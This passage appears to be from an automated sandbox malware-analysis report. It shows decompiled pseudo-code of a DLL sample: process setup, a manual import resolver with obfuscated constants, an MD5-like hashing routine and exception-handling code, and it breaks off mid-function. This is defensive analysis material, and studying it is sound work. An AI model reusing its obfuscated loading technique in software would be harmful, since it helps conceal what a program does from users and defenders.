                    • Instruction Fuzzy Hash: 2DF0BB325005149FD721A6769C4DEEB77ADDBC5711F2040ADFE45D3100EB34C595CA61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51F1E Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00E51F1E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0xe541b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0xe541bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0xe541ac = _t3;
						_t5 = GetCurrentProcessId();
						 *0xe541a8 = _t5;
						 *0xe541b0 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0xe541a4 = _t6;
						if(_t6 == 0) {
							 *0xe541a4 =  *0xe541a4 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}










                    0x00e51f1f
                    0x00e51f2d
                    0x00e51f33
                    0x00e51f3a
                    0x00e51f91
                    0x00e51f91
                    0x00e51f3c
                    0x00e51f44
                    0x00e51f51
                    0x00e51f51
                    0x00e51f8d
                    0x00e51f8f
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e51f46
                    0x00e51f4d
                    0x00e51f53
                    0x00e51f53
                    0x00e51f58
                    0x00e51f66
                    0x00e51f6b
                    0x00e51f71
                    0x00e51f77
                    0x00e51f7e
                    0x00e51f80
                    0x00e51f80
                    0x00e51f8a
                    0x00e51f4f
                    0x00e51f4f
                    0x00000000
                    0x00e51f4f
                    0x00e51f4d

                    APIs
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00E51231), ref: 00E51F2D
                    • GetVersion.KERNEL32 ref: 00E51F3C
                    • GetCurrentProcessId.KERNEL32 ref: 00E51F58
                    • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00E51F71
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: Process$CreateCurrentEventOpenVersion
                    • String ID:
                    • API String ID: 845504543-0
                    • Opcode ID: 7b4417576949f60137b029971881124e88da3482bc48f7f0395519440fc7310f
                    • Instruction ID: f24a65bd9e916a5df0bcf7987e1dc094aaf1af5dd7feb1d30974631a4cf4b5a4
                    • Opcode Fuzzy Hash: 7b4417576949f60137b029971881124e88da3482bc48f7f0395519440fc7310f
                    • Instruction Fuzzy Hash: 85F022B0641B00AFEB289B3BBD097953BA0EB017ABF000C56F901F60E0E37085CD8B64
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8E973 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6CB8EA6B
                    • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6CB8EA75
                    • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6CB8EA82
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: ExceptionFilterUnhandled$DebuggerPresent
                    • String ID:
                    • API String ID: 3906539128-0
                    • Opcode ID: 18aad97e47f752e23c42c59da098ae5d56ab03eb7a0f119dd6f3b94f707e2001
                    • Instruction ID: 032b5e8d25a750472f6d5a5946b524e31081a18401a33ed8db9f9106549725bf
                    • Opcode Fuzzy Hash: 18aad97e47f752e23c42c59da098ae5d56ab03eb7a0f119dd6f3b94f707e2001
                    • Instruction Fuzzy Hash: 3231C2749022689BCB21DF64D9887CDBBB8BF09714F5041EAE81CA7250EB749B858F45
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E51CEB Relevance: 3.1, APIs: 2, Instructions: 92libraryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00E51CEB(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0xe541c0;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x18bad598));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71);
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x43175ac3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x43175a44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x43175ac3;
										}
										 *_v16 = _t55;
										_t58 = _t59 * 4 - 0xc5d6b08;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0xbce8a5bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}




























                    0x00e51ceb
                    0x00e51cf4
                    0x00e51cf9
                    0x00e51cff
                    0x00e51d08
                    0x00e51d0e
                    0x00e51d10
                    0x00e51d13
                    0x00e51d18
                    0x00e51d1f
                    0x00e51d1f
                    0x00e51d23
                    0x00e51d29
                    0x00e51d2e
                    0x00000000
                    0x00000000
                    0x00e51d34
                    0x00e51d3e
                    0x00e51d40
                    0x00e51d43
                    0x00e51d46
                    0x00e51d4a
                    0x00e51d52
                    0x00e51d54
                    0x00e51d57
                    0x00e51dbf
                    0x00e51dbf
                    0x00e51dc3
                    0x00000000
                    0x00000000
                    0x00e51d5c
                    0x00e51d62
                    0x00e51d64
                    0x00e51d77
                    0x00e51d7a
                    0x00e51d7a
                    0x00e51d7a
                    0x00e51d7e
                    0x00e51d66
                    0x00e51d66
                    0x00e51d6e
                    0x00e51d70
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00e51d70
                    0x00e51d5e
                    0x00e51d5e
                    0x00e51d72
                    0x00e51d72
                    0x00e51d72
                    0x00e51d81
                    0x00e51d84
                    0x00e51d86
                    0x00e51d8d
                    0x00e51d88
                    0x00e51d88
                    0x00e51d88
                    0x00e51d95
                    0x00e51d9b
                    0x00e51d9d
                    0x00e51dcd
                    0x00e51d9f
                    0x00e51d9f
                    0x00e51da2
                    0x00e51da4
                    0x00e51dac
                    0x00e51dac
                    0x00e51db1
                    0x00e51db3
                    0x00e51dba
                    0x00e51dbc
                    0x00e51dbc
                    0x00e51dbc
                    0x00000000
                    0x00e51dbc
                    0x00000000
                    0x00e51d9d
                    0x00e51d4c
                    0x00e51d4c
                    0x00e51d50
                    0x00000000
                    0x00000000
                    0x00e51d50
                    0x00e51dd0
                    0x00e51dd0
                    0x00e51dd7
                    0x00e51ddc
                    0x00000000
                    0x00000000
                    0x00e51de2
                    0x00e51ded
                    0x00000000
                    0x00e51ded
                    0x00e51de4
                    0x00e51de4
                    0x00e51dea
                    0x00000000
                    0x00e51dea
                    0x00e51d18
                    0x00e51dee
                    0x00e51df3

                    APIs
                    • LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 00E51D23
                    • GetProcAddress.KERNEL32(?,00000000), ref: 00E51D95
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: AddressLibraryLoadProc
                    • String ID:
                    • API String ID: 2574300362-0
                    • Opcode ID: b3ffed2a21160e603b14ad1ed19089262a33a9ea85f5cdc74dd287fb80551c79
                    • Instruction ID: 39d10df2103e19ec33ff07395bbc996ac0541cea3104aaf71acfa386a2269c4c
                    • Opcode Fuzzy Hash: b3ffed2a21160e603b14ad1ed19089262a33a9ea85f5cdc74dd287fb80551c79
                    • Instruction Fuzzy Hash: CD31F475A0020ADFCB15CF99C880BA9B7F4FF5435BB2859A9DC02E7250E770DA49CB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C16DF Relevance: 1.9, APIs: 1, Instructions: 611COMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 49%
                    			E027C16DF(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t338;
				signed char* _t348;
				signed int _t349;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t367;
				signed int _t376;
				signed int _t378;
				signed int _t380;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t400;
				signed int* _t401;
				signed int _t402;
				signed int _t404;
				signed int _t406;
				signed int _t408;
				signed int _t410;
				signed int _t412;
				signed int _t414;
				signed int _t416;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t424;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t438;
				signed int _t440;
				signed int _t508;
				signed int _t599;
				signed int _t607;
				signed int _t613;
				signed int _t679;
				void* _t682;
				signed int _t683;
				signed int _t685;
				signed int _t690;
				signed int _t692;
				signed int _t697;
				signed int _t699;
				signed int _t718;
				signed int _t720;
				signed int _t722;
				signed int _t724;
				signed int _t726;
				signed int _t728;
				signed int _t734;
				signed int _t740;
				signed int _t742;
				signed int _t744;
				signed int _t746;
				signed int _t748;

				_t226 = _a4;
				_t348 = __ecx + 2;
				_t401 =  &_v76;
				_t682 = 0x10;
				do {
					 *_t401 = (((_t348[1] & 0x000000ff) << 0x00000008 |  *_t348 & 0x000000ff) << 0x00000008 |  *(_t348 - 1) & 0x000000ff) << 0x00000008 |  *(_t348 - 2) & 0x000000ff;
					_t401 =  &(_t401[1]);
					_t348 =  &(_t348[4]);
					_t682 = _t682 - 1;
				} while (_t682 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t683 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t402 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t349 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t683 & _t349 | _t402 & _t683) + _v76 +  *_t226 - 0x28955b88 + _t683;
				asm("rol ecx, 0xc");
				_t351 = ( !_t229 & _t402 | _t683 & _t229) + _v72 + _t349 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t404 = ( !_t351 & _t683 | _t351 & _t229) + _v68 + _t402 + 0x242070db + _t351;
				asm("ror esi, 0xa");
				_t685 = ( !_t404 & _t229 | _t351 & _t404) + _v64 + _t683 - 0x3e423112 + _t404;
				_v8 = _t685;
				_t690 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t685 & _t351 | _t404 & _v8) + _v60 + _t229 - 0xa83f051 + _t690;
				asm("rol ecx, 0xc");
				_t353 = ( !_t231 & _t404 | _t690 & _t231) + _v56 + _t351 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t406 = ( !_t353 & _t690 | _t353 & _t231) + _v52 + _t404 - 0x57cfb9ed + _t353;
				asm("ror esi, 0xa");
				_t692 = ( !_t406 & _t231 | _t353 & _t406) + _v48 + _t690 - 0x2b96aff + _t406;
				_v8 = _t692;
				_t697 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t692 & _t353 | _t406 & _v8) + _v44 + _t231 + 0x698098d8 + _t697;
				asm("rol ecx, 0xc");
				_t355 = ( !_t233 & _t406 | _t697 & _t233) + _v40 + _t353 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t408 = ( !_t355 & _t697 | _t355 & _t233) + _v36 + _t406 - 0xa44f + _t355;
				asm("ror esi, 0xa");
				_t699 = ( !_t408 & _t233 | _t355 & _t408) + _v32 + _t697 - 0x76a32842 + _t408;
				_v8 = _t699;
				asm("rol eax, 0x7");
				_t235 = ( !_t699 & _t355 | _t408 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t357 = ( !_t235 & _t408 | _v8 & _t235) + _v24 + _t355 - 0x2678e6d + _t235;
				_t508 =  !_t357;
				asm("ror edx, 0xf");
				_t410 = (_t508 & _v8 | _t357 & _t235) + _v20 + _t408 - 0x5986bc72 + _t357;
				_v12 = _t410;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t718 = (_v12 & _t235 | _t357 & _t410) + _v16 + _v8 + 0x49b40821 + _t410;
				asm("rol eax, 0x5");
				_t237 = (_t508 & _t410 | _t357 & _t718) + _v72 + _t235 - 0x9e1da9e + _t718;
				asm("rol ecx, 0x9");
				_t359 = (_v12 & _t718 | _t410 & _t237) + _v52 + _t357 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t412 = ( !_t718 & _t237 | _t359 & _t718) + _v32 + _t410 + 0x265e5a51 + _t359;
				asm("ror esi, 0xc");
				_t720 = ( !_t237 & _t359 | _t412 & _t237) + _v76 + _t718 - 0x16493856 + _t412;
				asm("rol eax, 0x5");
				_t239 = ( !_t359 & _t412 | _t359 & _t720) + _v56 + _t237 - 0x29d0efa3 + _t720;
				asm("rol ecx, 0x9");
				_t361 = ( !_t412 & _t720 | _t412 & _t239) + _v36 + _t359 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t414 = ( !_t720 & _t239 | _t361 & _t720) + _v16 + _t412 - 0x275e197f + _t361;
				asm("ror esi, 0xc");
				_t722 = ( !_t239 & _t361 | _t414 & _t239) + _v60 + _t720 - 0x182c0438 + _t414;
				asm("rol eax, 0x5");
				_t241 = ( !_t361 & _t414 | _t361 & _t722) + _v40 + _t239 + 0x21e1cde6 + _t722;
				asm("rol ecx, 0x9");
				_t363 = ( !_t414 & _t722 | _t414 & _t241) + _v20 + _t361 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t416 = ( !_t722 & _t241 | _t363 & _t722) + _v64 + _t414 - 0xb2af279 + _t363;
				asm("ror esi, 0xc");
				_t724 = ( !_t241 & _t363 | _t416 & _t241) + _v44 + _t722 + 0x455a14ed + _t416;
				asm("rol eax, 0x5");
				_t243 = ( !_t363 & _t416 | _t363 & _t724) + _v24 + _t241 - 0x561c16fb + _t724;
				asm("rol ecx, 0x9");
				_t365 = ( !_t416 & _t724 | _t416 & _t243) + _v68 + _t363 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t418 = ( !_t724 & _t243 | _t365 & _t724) + _v48 + _t416 + 0x676f02d9 + _t365;
				asm("ror esi, 0xc");
				_t726 = ( !_t243 & _t365 | _t418 & _t243) + _v28 + _t724 - 0x72d5b376 + _t418;
				asm("rol eax, 0x4");
				_t245 = (_t365 ^ _t418 ^ _t726) + _v56 + _t243 - 0x5c6be + _t726;
				asm("rol ecx, 0xb");
				_t367 = (_t418 ^ _t726 ^ _t245) + _v44 + _t365 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t420 = (_t367 ^ _t726 ^ _t245) + _v32 + _t418 + 0x6d9d6122 + _t367;
				_t599 = _t367 ^ _t420;
				asm("ror esi, 0x9");
				_t728 = (_t599 ^ _t245) + _v20 + _t726 - 0x21ac7f4 + _t420;
				asm("rol eax, 0x4");
				_t247 = (_t599 ^ _t728) + _v72 + _t245 - 0x5b4115bc + _t728;
				asm("rol edi, 0xb");
				_t607 = (_t420 ^ _t728 ^ _t247) + _v60 + _t367 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t422 = (_t607 ^ _t728 ^ _t247) + _v48 + _t420 - 0x944b4a0 + _t607;
				_t338 = _t607 ^ _t422;
				asm("ror ecx, 0x9");
				_t376 = (_t338 ^ _t247) + _v36 + _t728 - 0x41404390 + _t422;
				asm("rol eax, 0x4");
				_t249 = (_t338 ^ _t376) + _v24 + _t247 + 0x289b7ec6 + _t376;
				asm("rol esi, 0xb");
				_t734 = (_t422 ^ _t376 ^ _t249) + _v76 + _t607 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t613 = (_t734 ^ _t376 ^ _t249) + _v64 + _t422 - 0x2b10cf7b + _t734;
				_t424 = _t734 ^ _t613;
				asm("ror ecx, 0x9");
				_t378 = (_t424 ^ _t249) + _v52 + _t376 + 0x4881d05 + _t613;
				asm("rol eax, 0x4");
				_t251 = (_t424 ^ _t378) + _v40 + _t249 - 0x262b2fc7 + _t378;
				asm("rol edx, 0xb");
				_t432 = (_t613 ^ _t378 ^ _t251) + _v28 + _t734 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t740 = (_t432 ^ _t378 ^ _t251) + _v16 + _t613 + 0x1fa27cf8 + _t432;
				asm("ror ecx, 0x9");
				_t380 = (_t432 ^ _t740 ^ _t251) + _v68 + _t378 - 0x3b53a99b + _t740;
				asm("rol eax, 0x6");
				_t253 = (( !_t432 | _t380) ^ _t740) + _v76 + _t251 - 0xbd6ddbc + _t380;
				asm("rol edx, 0xa");
				_t434 = (( !_t740 | _t253) ^ _t380) + _v48 + _t432 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t742 = (( !_t380 | _t434) ^ _t253) + _v20 + _t740 - 0x546bdc59 + _t434;
				asm("ror ecx, 0xb");
				_t382 = (( !_t253 | _t742) ^ _t434) + _v56 + _t380 - 0x36c5fc7 + _t742;
				asm("rol eax, 0x6");
				_t255 = (( !_t434 | _t382) ^ _t742) + _v28 + _t253 + 0x655b59c3 + _t382;
				asm("rol edx, 0xa");
				_t436 = (( !_t742 | _t255) ^ _t382) + _v64 + _t434 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t744 = (( !_t382 | _t436) ^ _t255) + _v36 + _t742 - 0x100b83 + _t436;
				asm("ror ecx, 0xb");
				_t384 = (( !_t255 | _t744) ^ _t436) + _v72 + _t382 - 0x7a7ba22f + _t744;
				asm("rol eax, 0x6");
				_t257 = (( !_t436 | _t384) ^ _t744) + _v44 + _t255 + 0x6fa87e4f + _t384;
				asm("rol edx, 0xa");
				_t438 = (( !_t744 | _t257) ^ _t384) + _v16 + _t436 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t746 = (( !_t384 | _t438) ^ _t257) + _v52 + _t744 - 0x5cfebcec + _t438;
				asm("ror edi, 0xb");
				_t679 = (( !_t257 | _t746) ^ _t438) + _v24 + _t384 + 0x4e0811a1 + _t746;
				asm("rol eax, 0x6");
				_t259 = (( !_t438 | _t679) ^ _t746) + _v60 + _t257 - 0x8ac817e + _t679;
				asm("rol edx, 0xa");
				_t440 = (( !_t746 | _t259) ^ _t679) + _v32 + _t438 - 0x42c50dcb + _t259;
				_t400 = _a4;
				asm("rol esi, 0xf");
				_t748 = (( !_t679 | _t440) ^ _t259) + _v68 + _t746 + 0x2ad7d2bb + _t440;
				 *_t400 =  *_t400 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t400 + 4)) = (( !_t259 | _t748) ^ _t440) + _v40 + _t679 - 0x14792c6f +  *((intOrPtr*)(_t400 + 4)) + _t748;
				 *((intOrPtr*)(_t400 + 8)) =  *((intOrPtr*)(_t400 + 8)) + _t748;
				 *((intOrPtr*)(_t400 + 0xc)) =  *((intOrPtr*)(_t400 + 0xc)) + _t440;
				return memset( &_v76, 0, 0x40);
			}


































































































                    0x027c16e2
                    0x027c16ed
                    0x027c16f0
                    0x027c16f3
                    0x027c16f4
                    0x027c1712
                    0x027c1714
                    0x027c1717
                    0x027c171a
                    0x027c171a
                    0x027c171d
                    0x027c171d
                    0x027c1720
                    0x027c1720
                    0x027c1723
                    0x027c1723
                    0x027c1740
                    0x027c1743
                    0x027c1759
                    0x027c175c
                    0x027c1776
                    0x027c1779
                    0x027c178f
                    0x027c1792
                    0x027c1794
                    0x027c17ac
                    0x027c17af
                    0x027c17b2
                    0x027c17ca
                    0x027c17cd
                    0x027c17e7
                    0x027c17ea
                    0x027c1800
                    0x027c1803
                    0x027c1805
                    0x027c181d
                    0x027c1822
                    0x027c1825
                    0x027c183b
                    0x027c183e
                    0x027c1858
                    0x027c185b
                    0x027c1871
                    0x027c1874
                    0x027c1876
                    0x027c1891
                    0x027c1894
                    0x027c18ab
                    0x027c18ae
                    0x027c18b2
                    0x027c18cb
                    0x027c18ce
                    0x027c18d0
                    0x027c18d3
                    0x027c18ee
                    0x027c18f1
                    0x027c190a
                    0x027c190d
                    0x027c191d
                    0x027c1920
                    0x027c1938
                    0x027c193b
                    0x027c1955
                    0x027c1958
                    0x027c1970
                    0x027c1973
                    0x027c1989
                    0x027c198c
                    0x027c19a4
                    0x027c19a7
                    0x027c19bf
                    0x027c19c2
                    0x027c19dc
                    0x027c19df
                    0x027c19f5
                    0x027c19f8
                    0x027c1a10
                    0x027c1a13
                    0x027c1a2d
                    0x027c1a30
                    0x027c1a48
                    0x027c1a4b
                    0x027c1a61
                    0x027c1a64
                    0x027c1a7c
                    0x027c1a7f
                    0x027c1a97
                    0x027c1a9a
                    0x027c1aac
                    0x027c1aaf
                    0x027c1ac1
                    0x027c1ac4
                    0x027c1ad6
                    0x027c1ad9
                    0x027c1add
                    0x027c1aed
                    0x027c1af0
                    0x027c1afe
                    0x027c1b01
                    0x027c1b13
                    0x027c1b16
                    0x027c1b2a
                    0x027c1b2d
                    0x027c1b2f
                    0x027c1b3f
                    0x027c1b42
                    0x027c1b54
                    0x027c1b57
                    0x027c1b65
                    0x027c1b68
                    0x027c1b7a
                    0x027c1b7d
                    0x027c1b81
                    0x027c1b91
                    0x027c1b94
                    0x027c1ba6
                    0x027c1ba9
                    0x027c1bb7
                    0x027c1bba
                    0x027c1bcc
                    0x027c1bcf
                    0x027c1be1
                    0x027c1be4
                    0x027c1bf8
                    0x027c1bfb
                    0x027c1c0f
                    0x027c1c12
                    0x027c1c26
                    0x027c1c29
                    0x027c1c3d
                    0x027c1c40
                    0x027c1c54
                    0x027c1c57
                    0x027c1c6b
                    0x027c1c70
                    0x027c1c82
                    0x027c1c85
                    0x027c1c99
                    0x027c1c9c
                    0x027c1cb0
                    0x027c1cb3
                    0x027c1cc9
                    0x027c1ccc
                    0x027c1ce0
                    0x027c1ce3
                    0x027c1cf5
                    0x027c1cf8
                    0x027c1d0c
                    0x027c1d0f
                    0x027c1d23
                    0x027c1d26
                    0x027c1d3a
                    0x027c1d43
                    0x027c1d46
                    0x027c1d4f
                    0x027c1d58
                    0x027c1d60
                    0x027c1d68
                    0x027c1d72
                    0x027c1d87

                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: memset
                    • String ID:
                    • API String ID: 2221118986-0
                    • Opcode ID: 731c4c0f351f3efb1da8e5c57353aa3635b345d7971c0b598f3b3c7e53c72fd3
                    • Instruction ID: d75573acd152666c23780fe56f55ef7c493254e01c4d433691b40b57b65e5fe1
                    • Opcode Fuzzy Hash: 731c4c0f351f3efb1da8e5c57353aa3635b345d7971c0b598f3b3c7e53c72fd3
                    • Instruction Fuzzy Hash: 5F22857BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C8551 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E027C8551(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x27ca380; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
